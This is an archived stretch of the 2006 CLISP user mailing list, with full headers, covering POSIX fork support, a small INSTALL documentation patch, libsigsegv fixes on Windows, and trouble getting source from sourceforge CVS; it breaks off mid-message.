Date: Fri Apr 28 13:47:03 2006 X-Original-Date: Fri, 28 Apr 2006 16:45:50 -0400 > * Dave Roberts [2006-04-27 15:42:56 -0700]: > > Unfortunately, there isn't a complete set. In fact, the set that > exists is pretty eclectic (why POSIX:SETPGRP but not FORK??). the interface to FORK is RUN-PROGRAM. see src/TODO for details on how it should be enhanced. -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://pmw.org.il http://thereligionofpeace.com http://ffii.org http://honestreporting.com http://mideasttruth.com If a train station is a place where a train stops, what's a workstation? From dave@vyatta.com Fri Apr 28 14:52:53 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FZatQ-0008Pg-TA for clisp-list@lists.sourceforge.net; Fri, 28 Apr 2006 14:52:52 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FZatR-0007uw-11 for clisp-list@lists.sourceforge.net; Fri, 28 Apr 2006 14:52:53 -0700 Received: from mail.vyatta.com ([69.59.150.139]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FZatQ-0001DM-3x for clisp-list@lists.sourceforge.net; Fri, 28 Apr 2006 14:52:53 -0700 Received: from localhost (localhost.localdomain [127.0.0.1]) by mail.vyatta.com (Postfix) with ESMTP id 8C1A010E0500 for ; Fri, 28 Apr 2006 14:52:46 -0700 (PDT) Received: from mail.vyatta.com ([127.0.0.1]) by localhost (mail.vyatta.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 30537-05 for ; Fri, 28 Apr 2006 14:52:46 -0700 (PDT) Received: from mail.vyatta.com (mail.vyatta.com [69.59.150.139]) by mail.vyatta.com (Postfix) with ESMTP id 4C0C610E04FF for ; Fri, 28 Apr 2006 14:52:46 -0700 (PDT) Message-ID: <4922104.181146261166251.JavaMail.root@mail.vyatta.com> From: Dave Roberts To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Virus-Scanned: amavisd-new at X-Spam-Status: No, score=-4.322 tagged_above=-10 required=6.6 autolearn=ham tests=[ALL_TRUSTED=-1.8, AWL=0.077, BAYES_00=-2.599] X-Spam-Score: -4.322 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: POSIX support Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Apr 28 14:53:02 2006 X-Original-Date: Fri, 28 Apr 2006 14:52:46 -0700 (PDT) ----- Sam Steingold wrote: > > * Dave Roberts [2006-04-27 15:42:56 -0700]: > > > > Unfortunately, there isn't a complete set. In fact, the set that > > exists is pretty eclectic (why POSIX:SETPGRP but not FORK??). > > the interface to FORK is RUN-PROGRAM. > see src/TODO for details on how it should be enhanced. Thanks, Sam. I looked at RUN-PROGRAM previously, but it really isn't the same as fork, right? It's really fork+exec on a UNIX system. There are times when I need to actually fork, then twiddle with something in the forked copy, then exec another process on top of me. If RUN-PROGRAM can allow me to do this, please tell me how. I don't see that it provides that sort of behavior in the impnotes.html documentation that I'm reading. BTW, this is not unexpected. Windows, for instance, doesn't have anything resembling fork and the most common useage of fork is to exec shortly thereafter. It's just that in the case of a Unix shell, things are a bit more complicated than the common case. Cheers! -- Dave From Devon@Jovi.Net Sat Apr 29 09:23:06 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FZsDp-0003vy-Vs for clisp-list@lists.sourceforge.net; Sat, 29 Apr 2006 09:23:05 -0700 Received: from grant.org ([206.190.173.18]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FZsDn-00064N-J7 for clisp-list@lists.sourceforge.net; Sat, 29 Apr 2006 09:23:05 -0700 Received: from grant.org (localhost [127.0.0.1]) by grant.org (8.12.11/8.12.11) with ESMTP id k3TGMc1H040191 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 29 Apr 2006 12:22:41 -0400 (EDT) (envelope-from Devon@Jovi.Net) Received: (from devon@localhost) by grant.org (8.12.11/8.12.11/Submit) id k3TGMcYa040188; Sat, 29 Apr 2006 12:22:38 -0400 (EDT) (envelope-from Devon@Jovi.Net) Message-Id: <200604291622.k3TGMcYa040188@grant.org> X-Authentication-Warning: grant.org: devon set sender to Devon@Jovi.Net using -f From: Devon Sean McCullough To: clisp-list@lists.sourceforge.net X-Spam-Status: No, score=-3.2 required=5.0 tests=AWL,BAYES_00, UNPARSEABLE_RELAY autolearn=ham version=3.1.0 X-Spam-Checker-Version: SpamAssassin 3.1.0 (2005-09-13) on grant.org X-Virus-Scanned: by amavisd-new X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-2.0.2 (grant.org [127.0.0.1]); Sat, 29 Apr 2006 12:22:52 -0400 (EDT) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] clisp-2.38/unix/INSTALL Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Apr 29 09:24:01 2006 X-Original-Date: Sat, 29 Apr 2006 12:22:38 -0400 (EDT) --- clisp-2.38/unix/INSTALL.~1~ Fri Sep 23 15:34:22 2005 +++ clisp-2.38/unix/INSTALL Sat Apr 29 09:03:24 2006 @@ -104,7 +104,7 @@ 5. If you wish to build CLISP with add-on modules, edit Makefile and change the line defining the MODULES variable. The list of modules included with the distribution is available via - ./configure --list-modules + ./configure --help-modules 6. Type From kavenchuk@tut.by Sat Apr 29 12:54:32 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FZvWP-0000J8-9x for clisp-list@lists.sourceforge.net; Sat, 29 Apr 2006 12:54:29 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FZvWP-0006k9-7Q for clisp-list@lists.sourceforge.net; Sat, 29 Apr 2006 12:54:29 -0700 Received: from speedy.tutby.com ([195.137.160.40] helo=tut.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FZvWM-0005u3-PP for clisp-list@lists.sourceforge.net; Sat, 29 Apr 2006 12:54:29 -0700 Received: from [194.158.220.179] (account kavenchuk HELO [194.158.220.179]) by tut.by (CommuniGate Pro SMTP 4.3.8) with ESMTPSA id 51592411; Sat, 29 Apr 2006 22:51:32 +0300 Message-ID: <4453C468.9010707@tut.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0 MIME-Version: 1.0 To: "Hoehle, Joerg-Cyril" CC: clisp-list@lists.sourceforge.net, kavenchuk@jenty.by Subject: Re: [clisp-list] status of stack overflow recovery in CLISP (&lib sigs egv) References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Apr 29 12:55:06 2006 X-Original-Date: Sat, 29 Apr 2006 22:54:16 +0300 Hoehle, Joerg-Cyril wrote: >> Version of the clisp? libsigsegv with[out] patch? >> [2]> (SOFTWARE-VERSION) >> "GNU C 3.4.5 (mingw special)" >> [4]> (software-type) >> "gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit >> -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 >> -fexpensive-optimizations -D_WIN32 -DUNICODE -DDYNAMIC_FFI -I. -x none >> -lintl libcharset.a libavcall.a libcallback.a >> /usr/local/lib/libreadline.a -ltermcap -luser32 -lws2_32 -lole32 >> -loleaut32 -luuid /usr/local/lib/libiconv.a -L/usr/local/lib -lsigsegv >> SAFETY=0 HEAPCODES STANDARD_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS >> SPVW_MIXED TRIVIALMAP_MEMORY >> libsigsegv 2.2 >> libiconv 1.9 >> libreadline 5.0" >> > > Sorry for being confusing: cygwin/mingw behave as UNIX, so you probably need CLISP CVS and or libsigsegv patches. Please report results. > > WinXP, mingw, libsigsegv 2.3 and your patch - all works! Great! Thanks. -- WBR, Yaroslav Kavenchuk. From don-sourceforge-xx@isis.cs3-inc.com Sat Apr 29 23:53:40 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Fa5oI-0008SD-46 for clisp-list@lists.sourceforge.net; Sat, 29 Apr 2006 23:53:38 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Fa5oI-00022v-9V for clisp-list@lists.sourceforge.net; Sat, 29 Apr 2006 23:53:38 -0700 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fa5oH-0000cp-3X for clisp-list@lists.sourceforge.net; Sat, 29 Apr 2006 23:53:38 -0700 Received: by isis.cs3-inc.com (Postfix, from userid 501) id C0DE11A818F; Sat, 29 Apr 2006 23:53:47 -0700 (PDT) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17492.24315.743272.955571@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net X-Mailer: VM 7.07 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] how to get source for building 2.38 with bug fixes Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Apr 29 23:54:03 2006 X-Original-Date: Sat, 29 Apr 2006 23:53:47 -0700 I notice that the two bugs that trouble me most (socket-status, socket-server) are "fixed in the source", but it's not clear to me how to get a version of this source from which to build. CVS seems to have been very flakey for a long time now. I see a huge tarball which seems to be about a month old, but it's not clear how to generate source from it. Also it's not clear to me as-of-when I should try to build. Naturally I'd like to fix the two bugs above with minimal disruption of all of the other things that work. Any suggestions? Also, any idea when CVS will recover or when a new version of clisp will be released? From pjb@informatimago.com Sun Apr 30 03:47:48 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Fa9Ss-000091-Hb for clisp-list@lists.sourceforge.net; Sun, 30 Apr 2006 03:47:46 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1Fa9Ss-00031S-M0 for clisp-list@lists.sourceforge.net; Sun, 30 Apr 2006 03:47:46 -0700 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Fa9Sq-0000re-Ry for clisp-list@lists.sourceforge.net; Sun, 30 Apr 2006 03:47:46 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 59AFF585E7; Sun, 30 Apr 2006 12:47:39 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 9671B585E6; Sun, 30 Apr 2006 12:47:36 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 76DEA8795; Sun, 30 Apr 2006 12:47:36 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17492.38344.441541.386950@thalassa.informatimago.com> To: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] how to get source for building 2.38 with bug fixes In-Reply-To: <17492.24315.743272.955571@isis.cs3-inc.com> References: <17492.24315.743272.955571@isis.cs3-inc.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-3.1 required=5.0 tests=ALL_TRUSTED,BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Apr 30 03:48:05 2006 X-Original-Date: Sun, 30 Apr 2006 12:47:36 +0200 Don Cohen writes: > > I notice that the two bugs that trouble me most (socket-status, > socket-server) are "fixed in the source", but it's not clear to me how > to get a version of this source from which to build. CVS seems to > have been very flakey for a long time now. I see a huge tarball which > seems to be about a month old, but it's not clear how to generate > source from it. Also it's not clear to me as-of-when I should try > to build. Naturally I'd like to fix the two bugs above with minimal > disruption of all of the other things that work. > > Any suggestions? > > Also, any idea when CVS will recover or when a new version of clisp > will be released? Perhaps we should discount sourceforge definitively? IIRC, that's been more than two month I couldn't get anything from sourceforge CVS. Time to move to darc? Grrrr! New software to learn... -- __Pascal Bourguignon__ http://www.informatimago.com/ There is no worse tyranny than to force a man to pay for what he does not want merely because you think it would be good for him. -- Robert Heinlein From sds@podval.org Mon May 01 06:42:14 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FaYfF-0006nX-Ok for clisp-list@lists.sourceforge.net; Mon, 01 May 2006 06:42:13 -0700 Received: from rwcrmhc14.comcast.net ([204.127.192.84]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FaYfE-00086q-GW for clisp-list@lists.sourceforge.net; Mon, 01 May 2006 06:42:13 -0700 Received: from smtp.podval.org (k39.podval.org[24.60.134.201]) by comcast.net (rwcrmhc14) with ESMTP id <20060501134205m1400rr8vie>; Mon, 1 May 2006 13:42:05 +0000 Received: from quant8.janestcapital.quant (unknown [209.213.205.130]) by smtp.podval.org (Postfix) with ESMTP id D8EEF3A2FD9; Mon, 1 May 2006 09:42:04 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Devon Sean McCullough Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200604291622.k3TGMcYa040188@grant.org> (Devon Sean McCullough's message of "Sat, 29 Apr 2006 12:22:38 -0400 (EDT)") References: <200604291622.k3TGMcYa040188@grant.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Devon Sean McCullough Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [24.60.134.201 listed in dnsbl.sorbs.net] Subject: [clisp-list] Re: clisp-2.38/unix/INSTALL Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 1 06:43:04 2006 X-Original-Date: Mon, 01 May 2006 09:42:04 -0400 > * Devon Sean McCullough [2006-04-29 12:22:38 -0400]: > > --- clisp-2.38/unix/INSTALL.~1~ Fri Sep 23 15:34:22 2005 > +++ clisp-2.38/unix/INSTALL Sat Apr 29 09:03:24 2006 > @@ -104,7 +104,7 @@ > 5. If you wish to build CLISP with add-on modules, edit Makefile and change > the line defining the MODULES variable. > The list of modules included with the distribution is available via > - ./configure --list-modules > + ./configure --help-modules thanks. -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://ffii.org http://camera.org http://palestinefacts.org http://pmw.org.il http://dhimmi.com http://honestreporting.com http://mideasttruth.com If you have no enemies, you are probably dead. From sds@podval.org Mon May 01 06:43:26 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FaYgQ-0006tK-Sh for clisp-list@lists.sourceforge.net; Mon, 01 May 2006 06:43:26 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FaYgR-0001Zk-03 for clisp-list@lists.sourceforge.net; Mon, 01 May 2006 06:43:27 -0700 Received: from rwcrmhc12.comcast.net ([204.127.192.82]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FaYgP-0007HC-Ji for clisp-list@lists.sourceforge.net; Mon, 01 May 2006 06:43:26 -0700 Received: from smtp.podval.org (k39.podval.org[24.60.134.201]) by comcast.net (rwcrmhc12) with ESMTP id <20060501134318m1200cntiue>; Mon, 1 May 2006 13:43:18 +0000 Received: from quant8.janestcapital.quant (unknown [209.213.205.130]) by smtp.podval.org (Postfix) with ESMTP id 424713A2FD9; Mon, 1 May 2006 09:43:17 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Dave Roberts Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <4922104.181146261166251.JavaMail.root@mail.vyatta.com> (Dave Roberts's message of "Fri, 28 Apr 2006 14:52:46 -0700 (PDT)") References: <4922104.181146261166251.JavaMail.root@mail.vyatta.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Dave Roberts Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.1 RCVD_IN_SORBS_DUL RBL: SORBS: sent directly from dynamic IP address [24.60.134.201 listed in dnsbl.sorbs.net] Subject: [clisp-list] Re: POSIX support Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 1 06:44:01 2006 X-Original-Date: Mon, 01 May 2006 09:43:17 -0400 > * Dave Roberts [2006-04-28 14:52:46 -0700]: > > ----- Sam Steingold wrote: >> > * Dave Roberts [2006-04-27 15:42:56 -0700]: >> > >> > Unfortunately, there isn't a complete set. In fact, the set that >> > exists is pretty eclectic (why POSIX:SETPGRP but not FORK??). >> >> the interface to FORK is RUN-PROGRAM. >> see src/TODO for details on how it should be enhanced. > > I looked at RUN-PROGRAM previously, but it really isn't the same as > fork, right? It's really fork+exec on a UNIX system. There are times > when I need to actually fork, then twiddle with something in the > forked copy, then exec another process on top of me. If RUN-PROGRAM > can allow me to do this, please tell me how. I don't see that it > provides that sort of behavior in the impnotes.html documentation that > I'm reading. BTW, this is not unexpected. Windows, for instance, > doesn't have anything resembling fork and the most common useage of > fork is to exec shortly thereafter. It's just that in the case of a > Unix shell, things are a bit more complicated than the common case. http://www.cygwin.com/acronyms/#PTC -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://thereligionofpeace.com http://jihadwatch.org http://pmw.org.il http://mideasttruth.com http://openvotingconsortium.org http://ffii.org nobody's life, liberty or property are safe while the legislature is in session From dave@vyatta.com Mon May 01 08:28:03 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FaaJd-0001Z5-Sz for clisp-list@lists.sourceforge.net; Mon, 01 May 2006 08:28:01 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FaaJd-0002Yp-TR for clisp-list@lists.sourceforge.net; Mon, 01 May 2006 08:28:01 -0700 Received: from mail.vyatta.com ([69.59.150.139]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FaaJc-0000kf-Gc for clisp-list@lists.sourceforge.net; Mon, 01 May 2006 08:28:01 -0700 Received: from localhost (localhost.localdomain [127.0.0.1]) by mail.vyatta.com (Postfix) with ESMTP id C8E7B10E0501 for ; Mon, 1 May 2006 08:27:57 -0700 (PDT) Received: from mail.vyatta.com ([127.0.0.1]) by localhost (mail.vyatta.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 17190-08 for ; Mon, 1 May 2006 08:27:55 -0700 (PDT) Received: from mail.vyatta.com (mail.vyatta.com [69.59.150.139]) by mail.vyatta.com (Postfix) with ESMTP id 848E110E0500 for ; Mon, 1 May 2006 08:27:55 -0700 (PDT) Message-ID: <11775153.91146497275513.JavaMail.root@mail.vyatta.com> From: Dave Roberts To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: POSIX support MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Virus-Scanned: amavisd-new at X-Spam-Status: No, score=-4.32 tagged_above=-10 required=6.6 autolearn=ham tests=[ALL_TRUSTED=-1.8, AWL=0.079, BAYES_00=-2.599] X-Spam-Score: -4.32 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 1 08:29:00 2006 X-Original-Date: Mon, 1 May 2006 08:27:55 -0700 (PDT) ----- Sam Steingold wrote: > > * Dave Roberts [2006-04-28 14:52:46 -0700]: > > > > ----- Sam Steingold wrote: > >> > * Dave Roberts [2006-04-27 15:42:56 -0700]: > >> > > >> > Unfortunately, there isn't a complete set. In fact, the set that > >> > exists is pretty eclectic (why POSIX:SETPGRP but not FORK??). > >> > >> the interface to FORK is RUN-PROGRAM. > >> see src/TODO for details on how it should be enhanced. > > > > I looked at RUN-PROGRAM previously, but it really isn't the same as > > fork, right? It's really fork+exec on a UNIX system. There are > times > > when I need to actually fork, then twiddle with something in the > > forked copy, then exec another process on top of me. If RUN-PROGRAM > > can allow me to do this, please tell me how. I don't see that it > > provides that sort of behavior in the impnotes.html documentation > that > > I'm reading. BTW, this is not unexpected. Windows, for instance, > > doesn't have anything resembling fork and the most common useage of > > fork is to exec shortly thereafter. It's just that in the case of a > > Unix shell, things are a bit more complicated than the common case. > > http://www.cygwin.com/acronyms/#PTC Yup, no problem. I wasn't complaining, just trying to verify that indeed the behavior was as I thought it was. Thanks, -- Dave From dave@vyatta.com Mon May 01 15:29:14 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FagtG-0005TX-7u for clisp-list@lists.sourceforge.net; Mon, 01 May 2006 15:29:14 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FagtG-00069W-90 for clisp-list@lists.sourceforge.net; Mon, 01 May 2006 15:29:14 -0700 Received: from mail.vyatta.com ([69.59.150.139]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FagtG-0001Id-0P for clisp-list@lists.sourceforge.net; Mon, 01 May 2006 15:29:14 -0700 Received: from localhost (localhost.localdomain [127.0.0.1]) by mail.vyatta.com (Postfix) with ESMTP id A1F5510E0500 for ; Mon, 1 May 2006 15:29:13 -0700 (PDT) Received: from mail.vyatta.com ([127.0.0.1]) by localhost (mail.vyatta.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 00528-03 for ; Mon, 1 May 2006 15:29:13 -0700 (PDT) Received: from [10.0.0.85] (unknown [66.54.159.46]) by mail.vyatta.com (Postfix) with ESMTP id 353DC10E04FD for ; Mon, 1 May 2006 15:29:13 -0700 (PDT) Message-ID: <44568BBB.8060407@vyatta.com> From: Dave Roberts User-Agent: Thunderbird 1.5.0.2 (Windows/20060308) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] POSIX support References: <445148F0.8070001@vyatta.com> In-Reply-To: <445148F0.8070001@vyatta.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: amavisd-new at X-Spam-Status: No, score=-2.586 tagged_above=-10 required=6.6 autolearn=ham tests=[AWL=0.013, BAYES_00=-2.599] X-Spam-Score: -2.586 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 1 15:30:03 2006 X-Original-Date: Mon, 01 May 2006 15:29:15 -0700 Sam sort of responded to the question of fork, but I never got an answer to the others. Anybody have any guidance for me? Thanks, Dave Dave Roberts wrote: > 1. I'll need to be able to deal with signals. I have read the mailing > list archives where it's very strongly pointed out not to try to run > signals in Lisp as it can confuse the GC. Is there any problem running > signals as C routines through FFI? > > 2. Which signals, if any, does CLISP use internally on Linux, perhaps > for things like page protection for GC? I'll need to avoid those signals. > > 3. Are there any other gotchas with respect to fork, exec, etc? > > 4. I'll need to be manipulating file descriptors all over the place. > What's the best way to do that without conflicting with CLISPs stream > handling. I'll want to do raw IO, but may need more control that the > EXT:WITH-KEYBOARD function in section 21.2.2. I'll probably need to mess > with the tty direction and probably invoke all sorts of termios functions. > > 5. I'll need a select/poll loop that can handle all types of > descriptors. It looks like SOCKET:SOCKET-STATUS does what I want (shame > it's named something that's so socket-specific if it's really a more > general functionality). Are there any gotchas here? On Linux, does it > call select or poll (curios in terms of 